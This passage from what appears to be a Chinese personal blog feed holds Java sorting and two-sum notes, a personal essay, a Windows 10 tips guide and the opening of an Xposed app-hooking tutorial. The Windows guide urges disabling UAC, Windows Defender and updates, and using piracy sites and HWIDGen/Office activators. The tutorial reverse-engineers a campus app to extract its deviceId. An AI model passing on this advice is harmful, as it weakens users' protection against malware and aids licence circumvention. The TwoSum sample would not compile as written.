&lt;p&gt;归并使用分而治之的思想，将整个数组分成一个一个元素然后进行排序合并，左边排好序，右边排好序，最后整体排序。&lt;/p&gt;
&lt;h3&gt;6.2 排序演示&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.3 排序代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Code06_MergeSort {

    public static void mergeSort(int[] arr, int left, int right) {
        // 一个元素默认有序
        if (left == right) {
            return;
        }
        int mid = left + (right - left) / 2;
        // 将左边排好序
        mergeSort(arr, left, mid);
        // 将右边排好序
        mergeSort(arr, mid + 1, right);
        // 将排好序的两部分并在一起
        merge(arr, left, mid, right);
    }

    public static void merge(int[] arr, int left, int mid, int right) {
        int[] temp = new int[right - left + 1];
        int i = 0;
        int p1 = left;
        int p2 = mid + 1;
        // 双指针依次比较大小放入 temp 数组中
        while (p1 &amp;lt;= mid &amp;amp;&amp;amp; p2 &amp;lt;= right) {
            temp[i++] = arr[p1] &amp;lt;= arr[p2] ? arr[p1++] : arr[p2++];
        }
        // 当双指针一边越界，另一边仍有元素，依次放入 temp 数组中
        while (p1 &amp;lt;= mid) {
            temp[i++] = arr[p1++];
        }

        while (p2 &amp;lt;= right) {
            temp[i++] = arr[p2++];
        }

        // 将 temp 数组中的值放入原数组
        for (int i1 = 0; i1 &amp;lt; temp.length; i1++) {
            arr[left + i1] = temp[i1];
        }
    }

    public static void main(String[] args) {
        int[] arr = {8, 9, 1, 7, 2, 3, 5, 4, 6, 0};
        mergeSort(arr, 0, arr.length - 1);
        System.out.println(Arrays.toString(arr)); // [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;7、基数排序&lt;/h2&gt;
&lt;h2&gt;8、堆排序&lt;/h2&gt;
&lt;h1&gt;数组&lt;/h1&gt;
&lt;h2&gt;1、两数之和&lt;/h2&gt;
&lt;p&gt;使用哈希表减少查询时间&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.*;
    
public class TwoSum{
    public int[] twoSum(int[] nums, int target) {
        Map&amp;lt;Integer, Integer&amp;gt; map = new HashMap&amp;lt;&amp;gt;();
        for(int i = 0; i &amp;lt; nums.length; i++){
            if(map.containsKey(target - nums[i])){
                return new int[]{map.get(target - nums[i]), i};
            }
            map.put(nums[i],i);
        }
        return new int[0];
	}
    
    public static void main(String[] args){
        int[] arr = {1,3,6,4,9};
        int target = 13;
        int[] result = twoSum(arr, target);
        System.out.println(Arrays.toString(result));
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;链表&lt;/h1&gt;
&lt;h1&gt;字符串&lt;/h1&gt;
&lt;h1&gt;算法&lt;/h1&gt;
</content:encoded></item><item><title>梦想是注定孤独的旅行</title><link>https://reajason.eu.org/writing/bestrongerandbetter/</link><guid isPermaLink="true">https://reajason.eu.org/writing/bestrongerandbetter/</guid><pubDate>Sun, 08 Aug 2021 10:00:00 GMT</pubDate><content:encoded>&lt;p&gt;刚毕完业，就兴致冲冲地出来找工作，由于自己很菜，又不愿待在原专业去工地上，所以最后跌跌撞撞找到了深圳一个办公室敲代码的工作，勉勉强强维持生计的样子，6-24 号就跑出来，现在也一个多月了，慢慢地适应了这边的生活，收获了许多也成长了不少。&lt;/p&gt;
&lt;p&gt;刚出来那一会儿，每天晚上都不想回到那个城中村的小房子里面，一 &lt;strong&gt;热&lt;/strong&gt;，开空调费电，二 &lt;strong&gt;网差&lt;/strong&gt;，联通直接没信号。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;工作完之后，把东西放在房间里就出去散步，然后拿起手机打开微信看今天该和谁视频电话了，那段时间每天找家里人或者朋友们微信视频通话（有说不完的话，因为第一次出远门工作，新奇的经历）。今天给小郑同学打电话，明天给爸爸妈妈打，后天给奶奶外婆，还有苟哥、俊宏、叔叔、姨妈等等......在外面散步的时候由于深圳沿海，风吹拂在脸上，清凉又舒服，和他们视频的时候有讲不完的话，但每当回到房间里面，关上灯侧躺着准备睡觉的时候，眼角的泪水就开始奔涌不止，不是初来深圳的生活陌生而孤独想哭，而更多的是感动幸福得想哭——妈妈帮我找这边的熟人看有没有深圳工作的可以照顾照顾我；奶奶有天打电话过来说哪个附近有认识的人，你周末可以去那玩玩；姨妈姑姑都对我说一个人在外面工作不要舍不得吃，姨妈还给我还发了个小红包；小郑同学我每天打过去也不会嫌我烦，虽然 ta 学习压力比较大也会聆听我这边的工作生活等等。伴随着泪水的留下，我成长了许多，从小到大由于我喜欢做噩梦，晚上一个人睡觉从来不敢关灯睡觉，一关灯脑子就会充斥着鬼或者很害怕的事情，不过在这边每天晚上都能把灯关了。在这边做需求能很快能完成，Oracle 写查询语句，做接口开发也很熟练了，个人能力得到了一定的认可。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;现在工作稳定了，因此开始考虑个人素质能力的提高上，开始规划『未来』，上上周开始每天晚上有规律的进行身体锻炼，上周开始发现自己想学习的东西一直很多，必须找个方法规划好自己的计划让我更好的学习和执行，因此开始学习 GTD（&lt;a href=&quot;https://gettingthingsdone.com/&quot;&gt;Getting Things Done&lt;/a&gt;），然后使用 &lt;a href=&quot;https://zh.wikipedia.org/zh-hans/%E7%95%AA%E8%8C%84%E5%B7%A5%E4%BD%9C%E6%B3%95&quot;&gt;番茄钟&lt;/a&gt; 进行工作和学习，想用 &lt;a href=&quot;https://www.notion.so/zh-cn&quot;&gt;notion&lt;/a&gt; 来管理自己的计划和知识（但目前还没学会），工具什么的适合自己的才是做好的。到目前为止可以看出我想做的事情真的很多，脑子有时候一片浆糊，不过当我写下之后，脑子里面确实会舒服很多。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;梦想是注定孤独的旅行，希望大家都能脚踏实地，仰望星空，成为自己想成为的模样，在最该努力奋斗的日子多为自己或者是后代的命运奋斗一点。&lt;/p&gt;
</content:encoded></item><item><title>Windows10 使用心得与总结</title><link>https://reajason.eu.org/writing/windowsusage/</link><guid isPermaLink="true">https://reajason.eu.org/writing/windowsusage/</guid><pubDate>Sat, 01 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;🙋‍♂️前言&lt;/h2&gt;
&lt;p&gt;Windows10 操作系统基本我们买电脑，初始系统就这个（Mac 除外），电脑是一个工具就和手机一样，使用起来得心应手，效率自然就越高。不知道大家是否用电脑觉得都是越用越卡，越用越不舒服，也不知道为什么就是老卡，其实也不需要用什么大型软件，其实就是我们的使用习惯不是很好。&lt;/p&gt;
&lt;p&gt;我们其实都不自觉的在拿到电脑之后设置成自己喜欢的样子，下面我会分享一些我常用的操作以及一些使用经验，有些地方还是遵从你们自己的使用体验来，并不一定我的就适合你的。&lt;/p&gt;
&lt;h2&gt;🔥常用快捷键&lt;/h2&gt;
&lt;p&gt;快捷键这块其实比较看使用习惯，以下是我的一些常用快捷键，使用频率基本很高，快捷键很多（大家百度一片），我基本这么点完全够用。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Win+I&lt;/code&gt;：打开 Windows 设置，一键呼出它不香吗😏&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Win+.&lt;/code&gt;：打开 emoji，博客文章表情出处！&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Win+V&lt;/code&gt;：开启/打开剪贴板，Win10 大加强，连复制的图片都有，终于不用蠢萌蠢萌地复制一个粘贴一个&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Win+Q&lt;/code&gt;：打开 Windows 搜索，最近常用，搜索设置里面的东西很香&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl+A&lt;/code&gt;：全选，不要鼠标从头拖到尾了，用到老&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl+C&lt;/code&gt;：复制，用到老&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl+V&lt;/code&gt;：粘贴，用到老&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl+Z&lt;/code&gt;：撤回，用到老&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl+X&lt;/code&gt;：剪切，用到老&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl+Shift+Z&lt;/code&gt;：恢复，基本可以说是我撤销多了，然后这组快捷键返回去&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl+F&lt;/code&gt;：查找，网页可以，word 文档中也可，记事本中也可，基本用来查找文本&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Alt+Tab&lt;/code&gt;：按住 &lt;code&gt;Alt&lt;/code&gt;，继续按 &lt;code&gt;Tab&lt;/code&gt; 切换程序，现在基本用鼠标任务栏点击切换了&lt;/li&gt;
&lt;li&gt;&lt;code&gt;F2&lt;/code&gt;：重命名，点击文件按 &lt;code&gt;F2&lt;/code&gt; 即可，比起鼠标右键然后去选快 100 倍！&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Esc&lt;/code&gt;：退出，某些场景下可用&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Alt+F4&lt;/code&gt;：关闭当前程序，在桌面按该快捷键可以弹出关机选项&lt;/li&gt;
&lt;li&gt;待补充......&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;⚙Windows设置&lt;/h2&gt;
&lt;h3&gt;🤏更改用户账户控制设置&lt;/h3&gt;
&lt;p&gt;有些图标带着盾牌的软件，Windows 出于保护电脑，会需要点一个确认才能继续运行，我安装这个软件显然我就是要用咯，这不就是多余操作吗？！当然对于使用习惯还没那么好的小伙伴还是建议先默认就好了，毕竟有些时候谈一些莫名其妙的或者后台莫名其妙运行软件可以阻止运行。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Win+Q&lt;/code&gt;，打开 Windows 搜索，搜索 &lt;code&gt;更改用户账户控制设置&lt;/code&gt;，回车进入，拉到最低，打开这类软件就不会需要点确定了。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;💻我的电脑&amp;amp;回收站&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Win+Q&lt;/code&gt;，搜索 &lt;code&gt;主题和相关设置&lt;/code&gt;，回车进入，（或者桌面右键选择个性化，然后进入主题），找到相关设置中的桌面图标管理，选择对应选项，即可在桌面显示图标&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;💿磁盘管理&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Win+Q&lt;/code&gt;，搜索 &lt;code&gt;创建并格式化硬盘分区&lt;/code&gt;，回车进入，（或者在桌面左下角 Windows 标志处，右键选择磁盘管理），在这里可以看到自己的硬盘个数和分区情况，一般新买的硬盘插入电脑或重装之后需要在此初始化硬盘分区。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;📌Win+E 打开我的电脑&lt;/h3&gt;
&lt;p&gt;  打开我的电脑，点击上边菜单栏的查看，进入选项，设置打开文件资源管理器时打开此电脑，然后应用，之后使用 &lt;code&gt;Win + E&lt;/code&gt; 即可打开我的电脑，个人觉得非常舒适。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;📁文件管理&lt;/h2&gt;
&lt;p&gt;我猜还是有很多小伙伴不太会管理自己的文件，管理磁盘空间吧，文件需要管理也就像我们知识需要管理，你要以最快地速度找到它，那么文件夹以及文件对方就应该更加合理，或者说自己知道它到底在哪，而不是随意安放。&lt;/p&gt;
&lt;p&gt;我觉得我自己的文件分类也并不是最好的，毕竟有时候自己看着目录也烦，翻得难受，但是总会翻到，毕竟我能放到的只有这里。基本大家盘符比较多，我推荐使用一个你觉得你能把里面的东西全清空的作为你开始文件管理的磁盘（尽量足够大），由于我并没有分盘，所以我有 1T，如果你分盘了，你也可以使用分盘管理，就不同类文件放不同盘符。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;QQ
&lt;ul&gt;
&lt;li&gt;QQData（用来存放 QQ 数据），需要打开 QQ 自行指定&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;WeChat
&lt;ul&gt;
&lt;li&gt;WeChatData（用来存放微信数据），需要打开微信自行指定&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Software（各类软件存放目录）
&lt;ul&gt;
&lt;li&gt;软件安装方式见下节（推荐先为软件在此创建文件夹，然后安装选择创建的文件夹）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ReaJason（以自己用户名取名，存放自己的文件）
&lt;ul&gt;
&lt;li&gt;我的文档&lt;/li&gt;
&lt;li&gt;我的音乐&lt;/li&gt;
&lt;li&gt;我的电影&lt;/li&gt;
&lt;li&gt;我的资源&lt;/li&gt;
&lt;li&gt;我的手机&lt;/li&gt;
&lt;li&gt;我的笔记&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Download（下载目录）（基本浏览器，下载器全指向该文件夹）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;🌊软件安装与卸载&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;我建议 360 全家桶和 2345 全家桶一定不要碰，高速下载也一定不要碰！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;💡下载地址首选官网&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://im.qq.com/pcqq/&quot;&gt;QQ PC 下载官网&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pc.weixin.qq.com/&quot;&gt;微信 PC 下载官网&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.microsoft.com/zh-cn/edge&quot;&gt;Microsoft Edge&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://store.steampowered.com/about/&quot;&gt;Steam 下载官网&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wegame.com.cn/client&quot;&gt;WeGame 下载官网&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;......&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;🔔其次软件分享网站&lt;/h3&gt;
&lt;p&gt;这类网站下载的软件大多为修改版或者破解版，其中也有便携版，便携版的意思为解压即可使用，而不需要安装选定安装目录，安装目录即是你解压之后的文件夹&lt;/p&gt;
&lt;p&gt;为什么使用修改版或破解版，原因一，官方版可能存在太多广告，经常性地弹出广告，需要手动关，而且广告很多很辣鸡，就好像那 辣鸡 qq 空间的好友热播，全是那种，见一个就举报低俗，就有些广告很恶心，严重影响使用体验；原因二，修改版可能会添加一点稍微实用的功能，也有些基本傻瓜式配置好了，打开就能用；原因三，官方原版收费，只能破解版。当然对于破解版软件，如自身有条件 &lt;strong&gt;请支持正版&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.423down.com/&quot;&gt;423Down&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.ghpym.com/&quot;&gt;果核剥壳&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.pilifx.com/&quot;&gt;霹雳分享&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://axutongxue.com/&quot;&gt;阿虚同学的储物间&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.chendandan.ys168.com/&quot;&gt;陈蛋蛋的宝藏库&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.52pojie.cn/forum-16-1.html&quot;&gt;吾爱破解&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;......&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;🎉安装建议&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;安装软件前建议为软件创建一个文件夹（尽量使用英语），不知道怎么命名的话，可以打开安装，等需要指定目录的时候，复制它自动创建的文件夹名，然后重新指定到自己的文件夹即可。&lt;/li&gt;
&lt;li&gt;使用自定义安装！即自己指定安装在上面创建的文件夹中。&lt;/li&gt;
&lt;li&gt;尽量不要安装在系统盘（C 盘），因为 C 盘不够大的话，当 C 盘变红（即小于 10G）会严重影响电脑性能。&lt;/li&gt;
&lt;li&gt;便携版的解压下来，把文件夹移到你的软件目录，打开使用即可，上图 我的软件目录带版本号的即是使用的便携版软件&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;🎉卸载建议&lt;/h3&gt;
&lt;p&gt;推荐使用 &lt;a href=&quot;https://geekuninstaller.com/download&quot;&gt;geek uninstaller&lt;/a&gt;，一款公认比较🐂的卸载工具，非常便携，下载打开即可用（下载左边 free 版即可），使用该款软件卸载的原因是，卸载软件会将关联的文件夹和注册表同时删除掉，最后选择删除文件夹的时候，自己稍加注意一下不是自己重要的文件夹即可。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;🎨浏览器调教&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;以 Windows10 自带的 Microsoft Edge 为例，进行演示&lt;/p&gt;
&lt;p&gt;目前该款以 Chromium 内核的浏览器还不错，推荐使用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;🛠浏览器扩展&lt;/h3&gt;
&lt;p&gt;绝大多数浏览器基本都配备了扩展插件这个功能，在浏览器右边三个点，扩展，点击进入到扩展管理页面，可以看到自己已安装，也可以 &lt;a href=&quot;https://microsoftedge.microsoft.com/addons/Microsoft-Edge-Extensions-Home?hl=zh-CN&quot;&gt;搜索&lt;/a&gt; 安装扩展插件。&lt;/p&gt;
&lt;p&gt;可以在此处查看浏览器扩展推荐：&lt;a href=&quot;https://zhaoolee.gitbooks.io/chrome/content/&quot;&gt;编者序 · Chrome 插件英雄榜&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我使用的插件列表：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://microsoftedge.microsoft.com/addons/detail/adguard-%E5%B9%BF%E5%91%8A%E6%8B%A6%E6%88%AA%E5%99%A8/pdffkfellgipmhklpdmokmckkkfcopbh?hl=zh-CN&quot;&gt;AdGuard 广告拦截器 - Microsoft Edge Addons&lt;/a&gt;——网页去广告&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://microsoftedge.microsoft.com/addons/detail/%E6%B2%99%E6%8B%89%E6%9F%A5%E8%AF%8D%E8%81%9A%E5%90%88%E8%AF%8D%E5%85%B8%E5%88%92%E8%AF%8D%E7%BF%BB%E8%AF%91/idghocbbahafpfhjnfhpbfbmpegphmmp?hl=zh-CN&quot;&gt;沙拉查词-聚合词典划词翻译 - Microsoft Edge Addons&lt;/a&gt;——网页划词翻译&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://microsoftedge.microsoft.com/addons/detail/tampermonkey/iikmkjmpaadaobahmlepeloendndfphd?hl=zh-CN&quot;&gt;Tampermonkey - Microsoft Edge Addons&lt;/a&gt;——搭配 &lt;a href=&quot;https://greasyfork.org/zh-CN/scripts&quot;&gt;油猴脚本&lt;/a&gt;，起飞&lt;/li&gt;
&lt;li&gt;其他很多基本不怎么用......&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;🏷书签管理&lt;/h3&gt;
&lt;p&gt;  书签管理其实和文件管理一样，管理自己浏览过的网页，收藏下来方便下次浏览与使用，建议大家下意识管理自己的书签，遇到自己觉得有用的网站或者最近常用的网站，即收藏到书签栏，或者相应的书签文件夹，就在网页链接的最后有一个 ⭐+ 的标志即为收藏页面，点击之后文件夹选项即是选择保存路径。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;✨常用小工具&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;7zip（压缩软件）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用方法：选中压缩包文件，右键 7-Zip 选择提取到 &quot;压缩包文件名\&quot;，即可解压到当前目录下&lt;/li&gt;
&lt;li&gt;蓝奏云链接：&lt;a href=&quot;https://lingsiki.lanzoui.com/i98Evolf7ah&quot;&gt;32 位&lt;/a&gt;、&lt;a href=&quot;https://lingsiki.lanzoui.com/iXSS2olf7if&quot;&gt;64 位&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;官网地址：https://www.7-zip.org&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;PotPlayer（非常强大的播放器，再也不用担心打不开视频文件）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;官网：https://tv.kakao.com/guide/potplayer （有点慢，需要 fq）&lt;/li&gt;
&lt;li&gt;蓝奏云链接（官网安装包）：&lt;a href=&quot;https://lingsiki.lanzoui.com/i8Cc7osbcqb&quot;&gt;32 位&lt;/a&gt;、&lt;a href=&quot;https://lingsiki.lanzoui.com/i1bhVosbcgb&quot;&gt;64 位&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;果核剥壳：https://www.ghxi.com/potplayer.html&lt;/li&gt;
&lt;li&gt;使用修改版请自行关联所有视频文件，打开软件按 F5 可设置关联，还有许多快捷键操作请自行百度学习&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;屏蔽系统更新&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用建议：对于配置不是很好的电脑，建议关闭Windows更新，因为更新可能导致电脑蓝屏或者出现开不了机的情况&lt;/li&gt;
&lt;li&gt;蓝奏云链接：https://lingsiki.lanzoui.com/igJ0oolezuj&lt;/li&gt;
&lt;li&gt;更新地址：https://www.sordum.org/9470/windows-update-blocker-v1-6&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;关闭Windows安全中心&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用建议：就一般来言，有些软件比如激活软件会被吞，这让我很难受，由于自己不会去下莫名其妙的地方下载东西，因此电脑也不会担心中病毒，即便发生了，立马下个火绒救救急即可&lt;/li&gt;
&lt;li&gt;蓝奏云链接：https://lingsiki.lanzoui.com/iWwvPolezfe&lt;/li&gt;
&lt;li&gt;更新地址：https://www.sordum.org/9480/defender-control-v1-8&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;HWIDGen Windows激活（需联网）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用体验：这是我用过最舒服的激活器了，推荐数字激活，点一下激活即可，关闭杀毒软件使用。&lt;/li&gt;
&lt;li&gt;蓝奏云链接：https://lingsiki.lanzoui.com/im8UKoletxg&lt;/li&gt;
&lt;li&gt;果核剥壳汉化版：https://www.ghxi.com/hwidgen.html&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;微软运行库&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用体验：重装系统必备，避免有些软件的运行还需要去安装特定的运行库。&lt;/li&gt;
&lt;li&gt;蓝奏云链接：https://lingsiki.lanzoui.com/iOrXRoo4ldg&lt;/li&gt;
&lt;li&gt;果核剥壳封装版：https://www.ghxi.com/yxkhj.html&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Office 2013-2021 C2R Install&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用体验：一站式 office 卸载、下载、激活，我感觉比 office tool 还好用，因为傻瓜式，点几下就好了&lt;/li&gt;
&lt;li&gt;蓝奏云链接：https://lingsiki.lanzoui.com/i0WtRoleoeh&lt;/li&gt;
&lt;li&gt;更新地址：https://free.appnee.com/office-2013-2021-c2r-install&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dism++&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用体验：基本使用的是 C 盘空间清理和工具箱中修改 hosts&lt;/li&gt;
&lt;li&gt;官网地址：https://www.chuyu.me/zh-Hans&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;TranslucentTB （任务栏透明）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GitHub仓库地址：https://github.com/TranslucentTB/TranslucentTB&lt;/li&gt;
&lt;li&gt;Microsoft Store 汉化版：&lt;a href=&quot;https://www.microsoft.com/zh-cn/p/translucenttb-%E6%B1%89%E5%8C%96-by-tpxxn/9n5w18jc9bg2?activetab=pivot:overviewtab&quot;&gt;translucenttb-汉化-by-tpxxn&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Snipaste（截图 + 贴图）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;官网地址：https://zh.snipaste.com&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;QQ精简版（刚使用，还可以）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;蓝奏云链接：https://www.lanzoui.com/b385621 密码：9527&lt;/li&gt;
&lt;li&gt;Dreamcast 发布地址：http://dreamcast2.ys168.com&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;其实要说的挺多的，不过写起来又觉得不知道写啥，欢迎补充和提出相关建议&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Xposed Hook 完美校园获取本机 DeviceId</title><link>https://reajason.eu.org/writing/17wanxiaohookgetdeviceid/</link><guid isPermaLink="true">https://reajason.eu.org/writing/17wanxiaohookgetdeviceid/</guid><pubDate>Sun, 18 Apr 2021 23:43:45 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;完美校园自动打卡项目：https://github.com/ReaJason/17wanxiaoCheckin
本文使用的所有资源包括成品链接：https://lingsiki.lanzoui.com/b0eklg2ih 密码：2333&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;🤝静态分析&lt;/h2&gt;
&lt;h3&gt;🔍查壳&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;查壳工具：&lt;a href=&quot;http://www.legendsec.org/1888.html&quot;&gt;ApkScan-PKID&lt;/a&gt; 查看 app 是否加固（需要 Java 环境）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果 app 加固的话需要脱壳才能看到源码，没有加固则最好，在豌豆荚下载了完美校园历史版本发现，5.0.2 版本没有加固，而最新的 5.3.6 版本使用了 360 加固，其他版本有阿里和腾讯加固的都有，不知道他们为什么换这么多壳......，因此本文采取的思路是在 5.0.2 版本中找到 deviceId 的获取方法，然后使用 xp hook 绕壳去 hook 5.3.6 版本的相关代码，也很幸运 5.3.6 版本生成 deviceId 的代码虽然修改了位置，但是还是找到了 hook 出来的办法。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;🤔分析源码&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;源码查看工具：&lt;a href=&quot;https://github.com/skylot/jadx&quot;&gt;jadx&lt;/a&gt;
把使用方法为打开 bin 目录下的 jadx-gui.bat，然后选择 apk&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在搜索文本工具中搜索 &lt;code&gt;/loginnew&lt;/code&gt;，即可查看有一个匹配值，双击进去，然后右键查看该值 &lt;code&gt;i&lt;/code&gt; 的用例，也就是哪里用了这个值，也刚好发现一个 &lt;code&gt;c.i&lt;/code&gt;，双击进入即可发现登录报表的所有参数，基本都在这里出现了&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;我们可以看到这个 &lt;code&gt;private String deviceId = AppUtils.f(SystemApplication.e());&lt;/code&gt; 这行代码说明了 deviceId 生成的来源，选中 &lt;code&gt;f&lt;/code&gt; ，右键跳到声明，即可查看对应源码&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可以看到该类有许多的 get 方法，我们可以通过 hook 这些方法，来获取对应值（不过还得看登录方式是否使用了对应值）&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用 jadx 找到 5.3.6 版本 360 加固后的 app 入口&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;🪂Xp Hook&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;环境搭建以及入门：&lt;a href=&quot;https://www.52pojie.cn/forum.php?mod=viewthread&amp;amp;tid=1315865&amp;amp;highlight=frida%2Bhook&quot;&gt; [超级详细]Frida Hook和Xposed Hook 再搞Crackme&lt;/a&gt;
网上 Xp Hook 的教程还是有一点点可以学习的，可自行搜索学习相应知识&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
